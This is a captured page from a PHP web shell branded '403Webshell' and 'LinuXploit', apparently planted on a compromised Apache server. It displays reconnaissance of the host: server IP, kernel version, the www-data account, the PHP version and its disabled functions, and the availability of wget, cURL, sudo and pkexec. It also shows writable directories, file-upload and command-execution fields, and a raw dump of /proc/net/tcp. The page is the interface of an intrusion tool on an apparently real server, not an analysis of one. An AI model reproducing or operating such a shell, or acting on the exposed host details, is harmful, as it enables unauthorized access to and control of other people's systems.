403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 409916 1 0000000000000000 100 0 0 10 0                    
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 519354 1 0000000000000000 100 0 0 10 5                    
   2: BD1D1CAC:BAC8 45071CAC:0CEA 06 00000000:00000000 03:00001264 00000000     0        0 0 3 0000000000000000                                      
   3: BD1D1CAC:E2CE 3C091CAC:18EB 06 00000000:00000000 03:000008E8 00000000     0        0 0 3 0000000000000000                                      
   4: BD1D1CAC:E2BC 3C091CAC:18EB 06 00000000:00000000 03:00000783 00000000     0        0 0 3 0000000000000000                                      
   5: BD1D1CAC:961A 3C091CAC:18EB 06 00000000:00000000 03:0000120B 00000000     0        0 0 3 0000000000000000                                      
   6: BD1D1CAC:9848 A3A2D9AC:01BB 06 00000000:00000000 03:0000120A 00000000     0        0 0 3 0000000000000000                                      
   7: BD1D1CAC:849C 8B01E40F:01BB 01 00000000:00000000 02:00000B5B 00000000     0        0 2101714 2 0000000000000000 20 4 23 10 -1                  
   8: BD1D1CAC:B606 45071CAC:0CEA 06 00000000:00000000 03:00000C43 00000000     0        0 0 3 0000000000000000                                      
   9: BD1D1CAC:987C A3A2D9AC:01BB 06 00000000:00000000 03:0000120A 00000000     0        0 0 3 0000000000000000                                      
  10: BD1D1CAC:BABA 45071CAC:0CEA 06 00000000:00000000 03:00001244 00000000     0        0 0 3 0000000000000000                                      
  11: BD1D1CAC:963A 3C091CAC:18EB 06 00000000:00000000 03:000012AC 00000000     0        0 0 3 0000000000000000                                      
  12: BD1D1CAC:A34A 3C091CAC:18EB 06 00000000:00000000 03:00000C43 00000000     0        0 0 3 0000000000000000                                      
  13: BD1D1CAC:985C A3A2D9AC:01BB 06 00000000:00000000 03:0000120A 00000000     0        0 0 3 0000000000000000                                      
  14: BD1D1CAC:D776 45071CAC:0CEA 06 00000000:00000000 03:000008E8 00000000     0        0 0 3 0000000000000000                                      
  15: BD1D1CAC:8070 188EC068:0016 06 00000000:00000000 03:00000173 00000000     0        0 0 3 0000000000000000                                      
  16: BD1D1CAC:9626 3C091CAC:18EB 06 00000000:00000000 03:00001244 00000000     0        0 0 3 0000000000000000                                      
  17: BD1D1CAC:BA46 45071CAC:0CEA 06 00000000:00000000 03:000004BD 00000000     0        0 0 3 0000000000000000                                      
  18: BD1D1CAC:BA56 45071CAC:0CEA 06 00000000:00000000 03:000005D3 00000000     0        0 0 3 0000000000000000                                      
  19: BD1D1CAC:E2C6 3C091CAC:18EB 06 00000000:00000000 03:000007E6 00000000     0        0 0 3 0000000000000000                                      
  20: BD1D1CAC:9636 3C091CAC:18EB 06 00000000:00000000 03:00001264 00000000     0        0 0 3 0000000000000000                                      
  21: BD1D1CAC:D768 45071CAC:0CEA 06 00000000:00000000 03:00000783 00000000     0        0 0 3 0000000000000000                                      
  22: BD1D1CAC:E6A2 3C091CAC:18EB 06 00000000:00000000 03:0000008F 00000000     0        0 0 3 0000000000000000                                      
  23: BD1D1CAC:986C A3A2D9AC:01BB 06 00000000:00000000 03:0000120A 00000000     0        0 0 3 0000000000000000                                      
  24: BD1D1CAC:BAA6 45071CAC:0CEA 06 00000000:00000000 03:000011AF 00000000     0        0 0 3 0000000000000000                                      
  25: BD1D1CAC:E2AE 3C091CAC:18EB 06 00000000:00000000 03:00000666 00000000     0        0 0 3 0000000000000000                                      
  26: BD1D1CAC:955C 3C091CAC:18EB 06 00000000:00000000 03:00001191 00000000     0        0 0 3 0000000000000000                                      
  27: BD1D1CAC:D76E 45071CAC:0CEA 06 00000000:00000000 03:000007E6 00000000     0        0 0 3 0000000000000000                                      
  28: BD1D1CAC:9618 3C091CAC:18EB 06 00000000:00000000 03:000011AF 00000000     0        0 0 3 0000000000000000                                      
  29: BD1D1CAC:BAB6 45071CAC:0CEA 06 00000000:00000000 03:0000120B 00000000     0        0 0 3 0000000000000000                                      
  30: BD1D1CAC:A0E0 45071CAC:0CEA 06 00000000:00000000 03:0000008F 00000000     0        0 0 3 0000000000000000                                      
  31: BD1D1CAC:D762 45071CAC:0CEA 06 00000000:00000000 03:00000666 00000000     0        0 0 3 0000000000000000                                      
  32: BD1D1CAC:AC64 CA1CD9AC:01BB 06 00000000:00000000 03:0000120A 00000000     0        0 0 3 0000000000000000                                      
  33: BD1D1CAC:BA4E 3C091CAC:18EB 06 00000000:00000000 03:000005D3 00000000     0        0 0 3 0000000000000000                                      
  34: BD1D1CAC:D1DE D4C9E50F:01BB 01 00000000:00000000 02:0000023E 00000000     0        0 1931629 2 0000000000000000 20 4 30 10 -1                  
  35: BD1D1CAC:9858 A3A2D9AC:01BB 06 00000000:00000000 03:0000120A 00000000     0        0 0 3 0000000000000000                                      
  36: BD1D1CAC:B096 3C091CAC:18EB 06 00000000:00000000 03:0000176F 00000000     0        0 0 3 0000000000000000                                      
  37: BD1D1CAC:D146 45071CAC:0CEA 06 00000000:00000000 03:00001191 00000000     0        0 0 3 0000000000000000                                      
  38: BD1D1CAC:9852 A3A2D9AC:01BB 06 00000000:00000000 03:0000120B 00000000     0        0 0 3 0000000000000000                                      
  39: BD1D1CAC:BA4C 3C091CAC:18EB 06 00000000:00000000 03:000004BD 00000000     0        0 0 3 0000000000000000                                      
  40: BD1D1CAC:BAD4 45071CAC:0CEA 06 00000000:00000000 03:000012AC 00000000     0        0 0 3 0000000000000000                                      
  41: BD1D1CAC:88EC 45071CAC:0CEA 06 00000000:00000000 03:0000176F 00000000     0        0 0 3 0000000000000000                                      
  42: BD1D1CAC:B602 45071CAC:0CEA 06 00000000:00000000 03:00000BB2 00000000     0        0 0 3 0000000000000000                                      
  43: BD1D1CAC:A346 3C091CAC:18EB 06 00000000:00000000 03:00000BB2 00000000     0        0 0 3 0000000000000000                                      

Youez - 2016 - github.com/yon3zu
LinuXploit